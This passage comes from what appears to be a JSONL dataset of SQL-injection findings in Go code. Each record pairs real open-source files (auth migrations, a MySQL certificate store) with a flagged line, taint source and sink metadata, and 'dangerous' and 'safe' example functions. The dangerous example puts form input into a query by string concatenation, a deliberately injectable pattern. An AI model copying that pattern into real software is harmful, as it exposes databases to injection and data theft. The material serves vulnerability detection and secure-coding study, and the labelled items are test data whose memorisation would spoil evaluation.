c.PostForm(\"id\")\n3. \tpwd := c.PostForm(\"pwd\")\n4. \n5. \ttmp := models.User{}\n6. \trows, err := DB.QueryContext(c, \"SELECT * FROM info where Id = ? and pwd = ?\", id, pwd)\n7. \n8. err = rows.Scan(&tmp.ID, &tmp.Pwd)\n9. \tc.JSON(200, gin.H{\"id\": tmp.ID, \"pwd\": tmp.Pwd})\n10. }\nLine 6: This is secure because the external input value is used in the query statement after proper binding.", "contexts": [{"lineNo": 356, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 356, "eventType": "sink", "messageKey": "gochk.SQL_INJECTION.GO.defect.sink", "params": {}}]}} {"id": "96f0c737896252c08991159b146517280de20c6516c1d2a0f48ffb0aa67f97c9", "license": {"spdx": ["MIT"], "repo": "IMQS/authaus", "path": "migrations.go", "repo_head_hexsha": "2b90cadbbd8badb1ee52559deaa6cb6806ef097e", "stack_hexsha": "5ddd24ce90f18a6bc6113367ff691f7939426886", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "SQL Injection", "issueDescriptionEn": "When code does not validate data entered on a web program and the program integrates with the database, an attacker can inject SQL statements in an input form or URL field to view or manipulate information from the database. A vulnerable web application creates dynamic queries with user input.\nThis can execute unintended queries and cause data leak.\nThe most efficient way to defend against SQL injection attacks is to use predefined static query statements or to bind parameters. When creating query statements that may contain user input, you should use proper binding characters such as `?`, `$`, `:` and so on for the database.", "issueLineNumber": 17, "entireCode": "package authaus\n\nimport (\n\t\"database/sql\"\n\t\"fmt\"\n\t\"strings\"\n\n\t\"github.com/BurntSushi/migration\"\n\t\"github.com/google/uuid\"\n\t// Tested against 04c77ed03f9b391050bec3b5f2f708f204df48b2 (Sep 16, 2014)\n)\n\n// schema_name must be a lower case SQL table name that needs no escaping\n// Returns (0,nil) if this is the first time we have seen this database\nfunc readSchemaVersion(tx *sql.Tx, schema_name string) (int, error) {\n\ttableName := schema_name + \"_version\"\n\tif _, err := tx.Exec(fmt.Sprintf(\"CREATE TABLE IF NOT EXISTS %v (version INTEGER)\", tableName)); err != nil {\n\t\treturn 0, err\n\t}\n\tquery := tx.QueryRow(fmt.Sprintf(\"SELECT version FROM %v\", tableName))\n\tvar version int = 0\n\tif err := query.Scan(&version); err != nil {\n\t\tif err == sql.ErrNoRows {\n\t\t\tif _, err := tx.Exec(fmt.Sprintf(\"INSERT INTO %v (version) VALUES (0)\", tableName)); err != nil {\n\t\t\t\treturn 0, err\n\t\t\t}\n\t\t\treturn version, nil\n\t\t}\n\t\treturn 0, err\n\n\t} else {\n\t\treturn version, nil\n\t}\n}\n\nfunc SqlCreateDatabase(conx *DBConnection) error {\n\t// Check first if the database already exists\n\tif db, eConnect := conx.Connect(); eConnect == nil {\n\t\t// The postgres driver will not return an error until we attempt to start a transaction\n\t\tif tx, eTxBegin := db.Begin(); eTxBegin == nil {\n\t\t\ttx.Rollback()\n\t\t\tdb.Close()\n\t\t\treturn nil\n\t\t} else {\n\t\t\t// database does not exist, go ahead and try to create it\n\t\t\tdb.Close()\n\t\t}\n\t} else {\n\t\treturn eConnect\n\t}\n\t// Connect via the 'postgres' database\n\tcopy := *conx\n\tcopy.Database = \"postgres\"\n\tif db, e := copy.Connect(); e == nil {\n\t\tdefer db.Close()\n\t\t_, eExec := db.Exec(\"CREATE DATABASE \\\"\" + conx.Database + \"\\\"\")\n\t\treturn eExec\n\t} else {\n\t\treturn e\n\t}\n}\n\nfunc RunMigrations(conx *DBConnection) error {\n\t// Until March 2016, Authaus used it's own migration tool, but we now use https://github.com/BurntSushi/migration instead.\n\t// If the bootstrap process seems contrived, it's because it needs to cater for the upgrade from the old\n\t// in-house migration system, to the BurntSushi system.\n\terr := runBootstrap(conx)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdb, err := migration.Open(conx.Driver, conx.ConnectionString(), createMigrations())\n\n\tif err == nil {\n\t\tdb.Close()\n\t}\n\treturn err\n}\n\nfunc createVersionTable(db *sql.DB, version int) error {\n\t_, err := db.Exec(fmt.Sprintf(`\n\t\tCREATE TABLE migration_version (\n\t\t\tversion INTEGER\n\t\t);\n\t\tINSERT INTO migration_version (version) VALUES (%v)`, version))\n\treturn err\n}\n\nfunc createMigrations() []migration.Migrator {\n\tsimple := func(sqlText string) migration.Migrator {\n\t\treturn func(tx migration.LimitedTx) error {\n\t\t\t_, err := tx.Exec(sqlText)\n\t\t\treturn err\n\t\t}\n\t}\n\tcompound := func(migrations []migration.Migrator) migration.Migrator {\n\t\treturn func(tx migration.LimitedTx) error {\n\t\t\tfor _, m := range migrations {\n\t\t\t\tif err := m(tx); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn nil\n\t\t}\n\t}\n\n\treturn []migration.Migrator{\n\t\t// 1. authgroup\n\t\tsimple(`CREATE TABLE authgroup (id SERIAL PRIMARY KEY, name VARCHAR, permlist VARCHAR);\n\t\tCREATE UNIQUE INDEX idx_authgroup_name ON authgroup (name);`),\n\n\t\t// 2. authsession\n\t\tsimple(`CREATE TABLE authsession (id BIGSERIAL PRIMARY KEY, sessionkey VARCHAR, identity VARCHAR, permit VARCHAR, expires TIMESTAMP);\n\t\tCREATE UNIQUE INDEX idx_authsession_token ON authsession (sessionkey);\n\t\tCREATE INDEX idx_authsession_identity ON authsession (identity);\n\t\tCREATE INDEX idx_authsession_expires ON authsession (expires);`),\n\n\t\t// 3.\n\t\tsimple(`DELETE FROM authsession;`),\n\n\t\t// 4. authuser\n\t\tsimple(`CREATE TABLE authuser (id BIGSERIAL PRIMARY KEY, identity VARCHAR, password VARCHAR, permit VARCHAR);\n\t\tCREATE UNIQUE INDEX idx_authuser_identity ON authuser (identity);`),\n\n\t\t// 5. authuser (case insensitive)\n\t\tsimple(`DROP INDEX idx_authuser_identity;\n\t\tCREATE UNIQUE INDEX idx_authuser_identity ON authuser (LOWER(identity));`),\n\n\t\t// 6. password reset\n\t\tsimple(`ALTER TABLE authuser ADD COLUMN pwdtoken VARCHAR;`),\n\n\t\t// END OF OLD (pre BurntSushi) MIGRATIONS\n\n\t\t// 7. Change from using email address as the primary identity of a user, to a 64-bit integer, which we call UserId.\n\t\tsimple(`CREATE TABLE authuserstore (userid BIGSERIAL PRIMARY KEY, email VARCHAR, username VARCHAR, firstname VARCHAR, lastname VARCHAR, mobile VARCHAR, archived BOOLEAN);\n\t\tCREATE INDEX idx_authuserstore_email ON authuserstore (LOWER(email));\n\t\tINSERT INTO authuserstore (email) SELECT identity from authuser;\n\n\t\tALTER TABLE authsession ADD COLUMN userid BIGINT;\n\t\tUPDATE authsession\n\t\t\tSET userid = authuserstore.userid\n\t\t\tFROM authuserstore\n\t\t\tWHERE authuserstore.email = authsession.identity;\n\t\tALTER TABLE authsession DROP COLUMN identity;\n\n\t\tCREATE TABLE authuserpwd(userid BIGINT PRIMARY KEY, password VARCHAR, permit VARCHAR, pwdtoken VARCHAR);\n\t\tINSERT INTO authuserpwd (userid, password, permit, pwdtoken)\n\t\t\tSELECT store.userid, password, permit, pwdtoken\n\t\t\tFROM authuser\n\t\t\tINNER JOIN authuserstore AS store\n\t\t\tON authuser.identity = store.email;\n\n\t\tDROP TABLE authuser;\n\t\t`),\n\n\t\t// 8. We add AuthUserType field to the userstore, to determine what type of user account this is.\n\t\tsimple(`ALTER TABLE authuserstore ADD COLUMN authusertype SMALLINT default 0;`),\n\n\t\t// 9. Additional data fields as well as fields to keep track of changes to users\n\t\tsimple(`ALTER TABLE authuserstore\n\t\t\tADD COLUMN phone VARCHAR,\n\t\t\tADD COLUMN remarks VARCHAR,\n\t\t\tADD COLUMN created TIMESTAMP,\n\t\t\tADD COLUMN createdby BIGINT,\n\t\t\tADD COLUMN modified TIMESTAMP,\n\t\t\tADD COLUMN modifiedby BIGINT;`),\n\n\t\t// 10. Archive passwords\n\t\tsimple(`ALTER TABLE authuserstore ALTER COLUMN modified SET DEFAULT NOW();\n\t\tALTER TABLE authuserpwd ADD COLUMN created TIMESTAMP DEFAULT NOW();\n\t\tALTER TABLE authuserpwd ADD COLUMN updated TIMESTAMP DEFAULT NOW();\n\n\t\tCREATE TABLE authpwdarchive (id BIGSERIAL PRIMARY KEY, userid BIGINT NOT NULL, password VARCHAR NOT NULL, created TIMESTAMP DEFAULT NOW());\n\t\t`),\n\n\t\t// 11. Account lock\n\t\tsimple(`ALTER TABLE authuserpwd ADD COLUMN accountlocked BOOLEAN DEFAULT FALSE;`),\n\n\t\t// 12. OAuth (tables are prefixed with oauth, because authoauth is just too silly)\n\t\t// We have no use for externaluuid yet, but it seems like a good idea to try and pin as permanent\n\t\t// a handle onto an identity.\n\t\tsimple(`CREATE TABLE oauthchallenge (id VARCHAR PRIMARY KEY, provider VARCHAR NOT NULL, created TIMESTAMP NOT NULL, nonce VARCHAR, pkce_verifier VARCHAR);\n\t\tCREATE TABLE oauthsession (id VARCHAR PRIMARY KEY, provider VARCHAR NOT NULL, created TIMESTAMP NOT NULL, updated TIMESTAMP NOT NULL, token JSONB);\n\t\tCREATE INDEX idx_oauthchallenge_created ON oauthchallenge (created);\n\t\tCREATE INDEX idx_oauthsession_updated ON oauthsession (updated);\n\t\tALTER TABLE authuserstore ADD COLUMN externaluuid UUID;\n\t\tALTER TABLE authsession ADD COLUMN oauthid VARCHAR;\n\t\t`),\n\n\t\t// 13. Add internaluuid. The internalUUID is intended to be used in cases where an external system\n\t\t// wants a UUID instead of an integer ID.\n\t\t// Unfortunately we can't rely on our user having the permission to install extensions... so we have to\n\t\t// create the UUIDs in Go code. This is just a legacy issue at IMQS - if it was easy to retrofit, then\n\t\t// I would prefer to grant the auth user superuser priviledges on the DB\n\t\tcompound([]migration.Migrator{\n\t\t\tsimple(\n\t\t\t\t`ALTER TABLE authuserstore ADD COLUMN internaluuid UUID;\n\t\tCREATE UNIQUE INDEX idx_authuserstore_internaluuid ON authuserstore(internaluuid);\n\t\t`),\n\t\t\taddInternalUUIDs, // This is Go code to do the equivalent of: \"UPDATE authuserstore SET internaluuid = uuid_generate_v4();\"\n\t\t\tsimple(`\n\t\tALTER TABLE authsession ADD COLUMN internaluuid UUID;\n\t\tUPDATE authsession\n\t\t\tSET internaluuid = authuserstore.internaluuid\n\t\t\tFROM authuserstore\n\t\t\tWHERE authuserstore.userid = authsession.userid;\n\t\t`)}),\n\t}\n}\n\nfunc addInternalUUIDs(tx migration.LimitedTx) error {\n\trows, err := tx.Query(\"SELECT userid FROM authuserstore\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer rows.Close()\n\tuserids := []int64{}\n\tfor rows.Next() {\n\t\tuid := int64(0)\n\t\tif err := rows.Scan(&uid); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tuserids = append(userids, uid)\n\t}\n\tfor _, uid := range userids {\n\t\tuuid, err := uuid.NewRandom()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\ttx.Exec(\"UPDATE authuserstore SET internaluuid = $1 WHERE userid = $2\", uuid.String(), uid)\n\t}\n\treturn nil\n}\n\n/* This moves from the old in-house migration system to BurntSushi\nThe system can be in one of three permissible states here:\n1. Empty DB\n2. Authaus DB prior to BurntSushi\n3. Using BurntSushi\n*/\nfunc runBootstrap(conx *DBConnection) error {\n\tdb, eConnect := conx.Connect()\n\tif eConnect != nil {\n\t\treturn NewError(ErrConnect, eConnect.Error())\n\t}\n\tdefer db.Close()\n\n\tvar version int\n\tr := db.QueryRow(\"SELECT version FROM migration_version\")\n\tif err := r.Scan(&version); err == nil {\n\t\t// If the table 'migration_version' exists, then we have already upgraded (ie state #3)\n\t\treturn nil\n\t}\n\n\t// The following two arrays are parallel\n\toldVersionTables := []string{\"authuser_version\", \"authgroup_version\", \"authsession_version\"}\n\toldVersionNumbers := []int{3, 1, 2}\n\n\tgetTableVersion := func(table string) (int, error) {\n\t\tvar version int\n\t\trow := db.QueryRow(fmt.Sprintf(\"SELECT version FROM %v\", table))\n\t\terr := row.Scan(&version)\n\t\tif err != nil {\n\t\t\treturn -1, err\n\t\t} else {\n\t\t\treturn version, nil\n\t\t}\n\t}\n\n\tfor i := 0; i < 3; i++ {\n\t\tversion, err := getTableVersion(oldVersionTables[i])\n\t\tif err != nil {\n\t\t\t// The old version tables do not exist. Assume this is an empty DB (ie state #1)\n\t\t\tif strings.Index(err.Error(), \"does not exist\") != -1 {\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\treturn fmt.Errorf(\"Error when scanning for old Authaus migration system: %v\", err)\n\t\t} else if version != oldVersionNumbers[i] {\n\t\t\treturn fmt.Errorf(\"Unable to upgrade semi-old database (%v at version %v, instead of %v)\", oldVersionTables[i], version, oldVersionNumbers[i])\n\t\t}\n\t}\n\n\t// The remainder of this function deals with state #2 (old Authaus migration system is present)\n\n\ttx, err := db.Begin()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor _, tab := range oldVersionTables {\n\t\t_, err := db.Exec(fmt.Sprintf(\"DROP TABLE %v\", tab))\n\t\tif err != nil {\n\t\t\ttx.Rollback()\n\t\t\treturn fmt.Errorf(\"Error dropping old version table %v: %v\", tab, err)\n\t\t}\n\t}\n\n\t// Under normal usage of the BurntSushi system, we wouldn't perform this step.\n\t// However, in our case, we are \"pre-seeding\" the BurntSushi system, by telling\n\t// it that we have already run migrations 1 through 6. The first six migrations\n\t// were the ones that were run as part of the old Authaus built-in migration system.\n\terr = createVersionTable(db, 6)\n\tif err != nil {\n\t\ttx.Rollback()\n\t\treturn fmt.Errorf(\"Error bootstrapping BurntSushi migration system: %v\", err)\n\t}\n\treturn tx.Commit()\n}", "dangerousExampleEn": "1. func Dan_SQL_Injection(c *gin.Context) {\n2. \tid := c.PostForm(\"id\")\n3. \tpwd := c.PostForm(\"pwd\")\n4. \n5. \ttmp := models.User{}\n6. \terr = DB.QueryRow(\"SELECT * FROM info where Id = '\"+id+\"' and pwd = '\"+pwd+\"';\").Scan(&tmp.ID, &tmp.Pwd)\n7. \tc.JSON(200, gin.H{\"id\": tmp.ID, \"pwd\": tmp.Pwd})\n8. \n9. }\nLine 6: This is insecure because an external input value is used in a query statement without proper binding.", "safeExampleEn": "1. func Safe_SQL_Injection1(c *gin.Context) {\n2. \tid := c.PostForm(\"id\")\n3. \tpwd := c.PostForm(\"pwd\")\n4. \n5. \ttmp := models.User{}\n6. \trows, err := DB.QueryContext(c, \"SELECT * FROM info where Id = ? and pwd = ?\", id, pwd)\n7. \n8. err = rows.Scan(&tmp.ID, &tmp.Pwd)\n9. \tc.JSON(200, gin.H{\"id\": tmp.ID, \"pwd\": tmp.Pwd})\n10. }\nLine 6: This is secure because the external input value is used in the query statement after proper binding.", "contexts": [{"lineNo": 17, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 17, "eventType": "sink", "messageKey": "gochk.SQL_INJECTION.GO.defect.sink", "params": {}}]}} {"id": "a70c5f10a6dd0250cb8ab729f57e798c4d1d3cb91f7c8f8f47639d5bd9007a0c", "license": {"spdx": ["Apache-2.0"], "repo": "mkkeffeler/certificates", "path": "db/sql/mysql/mysql.go", "repo_head_hexsha": "af23cede0f1e4057947e275ce656ea4aabba8548", "stack_hexsha": "2dace271f0a328ca4ecaea1a82e2ae96160f9788", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "SQL Injection", "issueDescriptionEn": "When code does not validate data entered on a web program and the program integrates with the database, an attacker can inject SQL statements in an input form or URL field to view or manipulate information from the database. A vulnerable web application creates dynamic queries with user input.\nThis can execute unintended queries and cause data leak.\nThe most efficient way to defend against SQL injection attacks is to use predefined static query statements or to bind parameters. When creating query statements that may contain user input, you should use proper binding characters such as `?`, `$`, `:` and so on for the database.", "issueLineNumber": 257, "entireCode": "package mysql\n\nimport (\n\t\"bytes\"\n\t\"crypto/x509\"\n\t\"crypto/x509/pkix\"\n\t\"database/sql\"\n\t\"fmt\"\n\t\"strings\"\n\n\tsqlDB \"github.com/smallstep/certificates/db/sql/sql\"\n\t\"github.com/smallstep/nosql/database\"\n\n\t// import mysql driver anonymously (just run the init)\n\t_ \"github.com/go-sql-driver/mysql\"\n\t\"github.com/pkg/errors\"\n)\n\n// DB is a wrapper over *sql.DB,\ntype DB struct {\n\tdb *sql.DB\n}\n\n// Open creates a Driver and connects to the database with the given address\n// and access details.\nfunc (db *DB) Open(dataSourceName string, opt ...sqlDB.SQLOption) error {\n\topts := &sqlDB.SQLOptions{}\n\tfor _, o := range opt {\n\t\tif err := o(opts); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tvar err error\n\t_db, err := sql.Open(\"mysql\", dataSourceName)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"error connecting to mysql\")\n\t}\n\t_, err = _db.Exec(fmt.Sprintf(\"CREATE DATABASE IF NOT EXISTS %s\", opts.Database))\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"error creating database %s (if not exists)\", opts.Database)\n\t}\n\tdb.db, err = sql.Open(\"mysql\", dataSourceName+opts.Database)\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"error connecting to mysql database\")\n\t}\n\n\treturn nil\n}\n\n// Close shutsdown the database driver.\nfunc (db *DB) Close() error {\n\treturn errors.WithStack(db.db.Close())\n}\n\nfunc getQry(bucket []byte) string {\n\treturn fmt.Sprintf(\"SELECT nvalue FROM `%s` WHERE nkey = ?\", bucket)\n}\n\nfunc insertUpdateQry(bucket []byte) string {\n\treturn fmt.Sprintf(\"INSERT INTO `%s`(nkey, nvalue) VALUES(?,?) ON DUPLICATE KEY UPDATE nvalue = ?\", bucket)\n}\n\n// Count returns a number of entries in some table\nfunc (db *DB) Count(bucket []byte) (int, error) {\n\tvar count int\n\terr := db.db.QueryRow(fmt.Sprintf(\"SELECT COUNT(*) FROM %s\", bucket)).Scan(&count)\n\n\tif err != nil {\n\t\treturn 0, errors.Wrapf(err, \"Error getting count from '%s'\", bucket)\n\t}\n\n\treturn count, nil\n}\n\nfunc insertUpdateX509CertificateQry(bucket []byte) string {\n\treturn fmt.Sprintf(\"INSERT INTO `%s`(nkey, nvalue, subjectNotBefore, subjectNotAfter, subjectState, subjectLocality, subjectCountry, subjectOrganization,subjectOrganizationalUnit, subjectCommonName, issuerDistinguishedName, provisionerName) VALUES(?,?,?,?,?,?,?,?,?,?,?,?) ON DUPLICATE KEY UPDATE nvalue = ?, subjectNotBefore = ?, subjectNotAfter = ?, subjectState = ?, subjectLocality = ?, subjectCountry = ?, subjectOrganization = ?,subjectOrganizationalUnit = ?, subjectCommonName = ?, issuerDistinguishedName = ?, provisionerName = ?\", bucket)\n}\n\nfunc insertX509SansCertificateQry(bucket []byte) string {\n\treturn fmt.Sprintf(\"INSERT INTO `%s`(nkey, sanText, sanType) VALUES(?,?,?);\", bucket)\n}\n\nfunc insertX509ExtensionsCertificateQry(bucket []byte) string {\n\treturn fmt.Sprintf(\"INSERT INTO `%s`(nkey, extensionOID) VALUES(?,?)\", bucket)\n}\n\nfunc delQry(bucket []byte) string {\n\treturn fmt.Sprintf(\"DELETE FROM `%s` WHERE nkey = ?\", bucket)\n}\n\nfunc createTableQry(bucket []byte) string {\n\treturn fmt.Sprintf(\"CREATE TABLE IF NOT EXISTS `%s`(nkey VARBINARY(255), nvalue BLOB, PRIMARY KEY (nkey));\", bucket)\n}\n\nfunc createX509CertsTableQry(bucket []byte) string {\n\treturn fmt.Sprintf(\"CREATE TABLE IF NOT EXISTS `%s`(nkey VARBINARY(255), nvalue BLOB, subjectNotBefore TIMESTAMP(0), subjectNotAfter TIMESTAMP(0), subjectState VARCHAR(255), subjectLocality VARCHAR(255), subjectCountry VARCHAR(255), subjectOrganization VARCHAR(255), subjectOrganizationalUnit VARCHAR(255), subjectCommonName VARCHAR(255), issuerDistinguishedName VARCHAR(255), provisionerName VARCHAR(255), PRIMARY KEY (nkey));\", bucket)\n}\n\nfunc createX509CertsSANSTableQry(bucket, constraint, reference []byte) string {\n\treturn fmt.Sprintf(\"CREATE TABLE IF NOT EXISTS `%s`(id MEDIUMINT NOT NULL AUTO_INCREMENT, nkey VARBINARY(255), sanText VARCHAR(255), sanType VARCHAR(255), PRIMARY KEY (id), CONSTRAINT %s FOREIGN KEY (nkey) REFERENCES %s(nkey));\", bucket, constraint, reference)\n}\n\nfunc createX509CertsExtensionsTableQry(bucket, constraint, reference []byte) string {\n\treturn fmt.Sprintf(\"CREATE TABLE IF NOT EXISTS `%s`(id MEDIUMINT NOT NULL AUTO_INCREMENT, nkey VARBINARY(255), extensionOID VARCHAR(255), PRIMARY KEY (id), CONSTRAINT %s FOREIGN KEY (nkey) REFERENCES %s(nkey));\", bucket, constraint, reference)\n}\n\nfunc alterX509CertsTableQry(bucket []byte) string {\n\treturn fmt.Sprintf(\"ALTER TABLE `%s` ADD subjectNotBefore TIMESTAMP(0), ADD subjectNotAfter TIMESTAMP(0), ADD subjectState VARCHAR(255), ADD subjectLocality VARCHAR(255), ADD subjectCountry VARCHAR(255), ADD subjectOrganization VARCHAR(255), ADD subjectOrganizationalUnit VARCHAR(255), ADD subjectCommonName VARCHAR(255), ADD issuerDistinguishedName VARCHAR(255), ADD provisionerName VARCHAR(255);\", bucket)\n}\n\nfunc alterX509CertsTableQryV3(bucket []byte) string {\n\treturn fmt.Sprintf(\"ALTER TABLE `%s` ADD provisionerName VARCHAR(255);\", bucket)\n}\n\nfunc deleteTableQry(bucket []byte) string {\n\treturn fmt.Sprintf(\"DROP TABLE `%s`\", bucket)\n}\n\n// Get retrieves the column/row with given key.\nfunc (db *DB) Get(bucket, key []byte) ([]byte, error) {\n\tvar val string\n\terr := db.db.QueryRow(getQry(bucket), key).Scan(&val)\n\tswitch {\n\tcase err == sql.ErrNoRows:\n\t\treturn nil, errors.Wrapf(sqlDB.ErrNotFound, \"%s/%s not found riight here\", bucket, key)\n\tcase err != nil:\n\t\treturn nil, errors.Wrapf(err, \"failed to get %s/%s\", bucket, key)\n\tdefault:\n\t\treturn []byte(val), nil\n\t}\n}\n\n// SansToList takes a CRT and converts All the Sans into an array that can be parsed.\nfunc SansToList(crt *x509.Certificate) []map[interface{}]interface{} {\n\tvar (\n\t\tresponse []map[interface{}]interface{}\n\t)\n\tfor _, dnsName := range crt.DNSNames {\n\t\tresponse = append(response, map[interface{}]interface{}{\n\t\t\t\"type\": \"dnsName\",\n\t\t\t\"value\": dnsName,\n\t\t})\n\t}\n\tfor _, email := range crt.EmailAddresses {\n\t\tresponse = append(response, map[interface{}]interface{}{\n\t\t\t\"type\": \"email\",\n\t\t\t\"value\": email,\n\t\t})\n\t}\n\tfor _, ipaddr := range crt.IPAddresses {\n\t\tresponse = append(response, map[interface{}]interface{}{\n\t\t\t\"type\": \"ipAddress\",\n\t\t\t\"value\": ipaddr.String(),\n\t\t})\n\t}\n\tfor _, uri := range crt.URIs {\n\t\tresponse = append(response, map[interface{}]interface{}{\n\t\t\t\"type\": \"uri\",\n\t\t\t\"value\": uri.String(),\n\t\t})\n\t}\n\treturn response\n\n}\n\nfunc ExtensiontoList(extensions []pkix.Extension) []map[interface{}]interface{} {\n\tvar (\n\t\tresponse []map[interface{}]interface{}\n\t)\n\tfor _, extension := range extensions {\n\t\tresponse = append(response, map[interface{}]interface{}{\n\t\t\t\"type\": extension.Id.String(),\n\t\t\t\"value\": string(extension.Id.String()),\n\t\t})\n\t}\n\treturn response\n\n}\n\n// Set inserts the key and value into the given bucket(column).\nfunc (db *DB) Set(bucket, key, value []byte) error {\n\t_, err := db.db.Exec(insertUpdateQry(bucket), key, value, value)\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"failed to set %s/%s\", bucket, key)\n\t}\n\treturn nil\n}\n\n// Set inserts the key and value into the given bucket(column).\nfunc (db *DB) SetX509Certificate(bucket, key, value []byte, extensionBucket []byte, dnsNameBucket []byte, provisionerName string) error {\n\tcert, err := x509.ParseCertificate(value)\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"Error parsing Cert %s/%s\", bucket, key)\n\t}\n\t_, err = db.db.Exec(insertUpdateX509CertificateQry(bucket), key, value, cert.NotBefore, cert.NotAfter, strings.Join(cert.Subject.Province, \" \"), strings.Join(cert.Subject.Locality, \" \"), strings.Join(cert.Subject.Country, \" \"), strings.Join(cert.Subject.Organization, \" \"), strings.Join(cert.Subject.OrganizationalUnit, \" \"), cert.Subject.CommonName, cert.Issuer.String(), provisionerName, value, cert.NotBefore, cert.NotAfter, strings.Join(cert.Subject.Province, \" \"), strings.Join(cert.Subject.Locality, \" \"), strings.Join(cert.Subject.Country, \" \"), strings.Join(cert.Subject.Organization, \" \"), strings.Join(cert.Subject.OrganizationalUnit, \" \"), cert.Subject.CommonName, cert.Issuer.String(), provisionerName)\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"failed to set %s/%s\", bucket, key)\n\t}\n\tfor _, extension := range ExtensiontoList(cert.Extensions) {\n\t\t_, err := db.db.Exec(insertX509ExtensionsCertificateQry(extensionBucket), key, extension[\"value\"])\n\t\tif err != nil {\n\t\t\treturn errors.Wrapf(err, \"failed to set %s/%s\", extensionBucket, key)\n\t\t}\n\t}\n\tfor _, san := range SansToList((cert)) {\n\t\t_, err := db.db.Exec(insertX509SansCertificateQry(dnsNameBucket), key, san[\"value\"], san[\"type\"])\n\t\tif err != nil {\n\t\t\treturn errors.Wrapf(err, \"failed to set %s/%s\", dnsNameBucket, key)\n\t\t}\n\t}\n\n\treturn nil\n}\n\n// Del deletes a row from the database.\nfunc (db *DB) Del(bucket, key []byte) error {\n\t_, err := db.db.Exec(delQry(bucket), key)\n\treturn errors.Wrapf(err, \"failed to delete %s/%s\", bucket, key)\n}\n\n// List returns the full list of entries in a column.\nfunc (db *DB) rowsToList(rows *sql.Rows, err error, bucket []byte) ([]*database.Entry, error) {\n\tif err != nil {\n\t\testr := err.Error()\n\t\tif strings.HasPrefix(estr, \"Error 1146:\") {\n\t\t\treturn nil, errors.Wrapf(sqlDB.ErrNotFound, estr)\n\t\t}\n\t\treturn nil, errors.Wrapf(err, \"error querying table %s\", bucket)\n\t}\n\tdefer rows.Close()\n\tvar (\n\t\tkey, value string\n\t\tentries []*database.Entry\n\t)\n\tfor rows.Next() {\n\t\terr := rows.Scan(&key, &value)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"error getting key and value from row\")\n\n\t\t}\n\t\tentries = append(entries, &database.Entry{\n\t\t\tBucket: bucket,\n\t\t\tKey: []byte(key),\n\t\t\tValue: []byte(value),\n\t\t})\n\t}\n\terr = rows.Err()\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"error accessing row\")\n\t}\n\treturn entries, nil\n}\n\n// List returns the full list of entries in a column.\nfunc (db *DB) List(bucket []byte) ([]*database.Entry, error) {\n\trows, err := db.db.Query(fmt.Sprintf(\"SELECT * FROM `%s`\", bucket))\n\tentries, rowsErr := db.rowsToList(rows, err, bucket)\n\tif rowsErr != nil {\n\t\treturn nil, errors.Wrap(rowsErr, \"error converting row to list\")\n\t}\n\n\treturn entries, nil\n}\n\n// ListPage returns a page worth of entries, whatever page size is specified. Better for performance on large DBs.\nfunc (db *DB) ListPage(bucket []byte, limit int, offset int) ([]*database.Entry, error) {\n\trows, err := db.db.Query(fmt.Sprintf(\"SELECT * FROM `%s` LIMIT %b OFFSET %b\", bucket, limit, offset))\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"error Getting a page of results\")\n\t}\n\tentries, rowsErr := db.rowsToList(rows, err, bucket)\n\tif rowsErr != nil {\n\t\treturn nil, errors.Wrap(rowsErr, \"error converting row to list\")\n\t}\n\n\treturn entries, nil\n}\n\n// CmpAndSwap modifies the value at the given bucket and key (to newValue)\n// only if the existing (current) value matches oldValue.\nfunc (db *DB) CmpAndSwap(bucket, key, oldValue, newValue []byte) ([]byte, bool, error) {\n\tsqlTx, err := db.db.Begin()\n\tif err != nil {\n\t\treturn nil, false, errors.WithStack(err)\n\t}\n\n\tval, swapped, err := cmpAndSwap(sqlTx, bucket, key, oldValue, newValue)\n\tswitch {\n\tcase err != nil:\n\t\tif err := sqlTx.Rollback(); err != nil {\n\t\t\treturn nil, false, errors.Wrapf(err, \"failed to execute CmpAndSwap transaction on %s/%s and failed to rollback transaction\", bucket, key)\n\t\t}\n\t\treturn nil, false, err\n\tcase swapped:\n\t\tif err := sqlTx.Commit(); err != nil {\n\t\t\treturn nil, false, errors.Wrapf(err, \"failed to commit badger transaction\")\n\t\t}\n\t\treturn val, swapped, nil\n\tdefault:\n\t\tif err := sqlTx.Rollback(); err != nil {\n\t\t\treturn nil, false, errors.Wrapf(err, \"failed to rollback read-only CmpAndSwap transaction on %s/%s\", bucket, key)\n\t\t}\n\t\treturn val, swapped, err\n\t}\n}\n\n// CmpAndSwapACMECertificate modifies the value at the given bucket and key (to newValue)\n// only if the existing (current) value matches oldValue.\nfunc (db *DB) CmpAndSwapACMECertificate(bucket []byte, key []byte, cert *x509.Certificate, oldValue, newValue, extensionBucket, dnsNameBucket []byte, provisionerName string) ([]byte, bool, error) {\n\tsqlTx, err := db.db.Begin()\n\tif err != nil {\n\t\treturn nil, false, errors.WithStack(err)\n\t}\n\n\tval, swapped, err := CmpAndSwapACMECertificate(sqlTx, bucket, key, cert, oldValue, newValue, extensionBucket, dnsNameBucket, provisionerName)\n\tswitch {\n\tcase err != nil:\n\t\tif err := sqlTx.Rollback(); err != nil {\n\t\t\treturn nil, false, errors.Wrapf(err, \"failed to execute CmpAndSwap transaction on %s/%s and failed to rollback transaction\", bucket, key)\n\t\t}\n\t\treturn nil, false, err\n\tcase swapped:\n\t\tif err := sqlTx.Commit(); err != nil 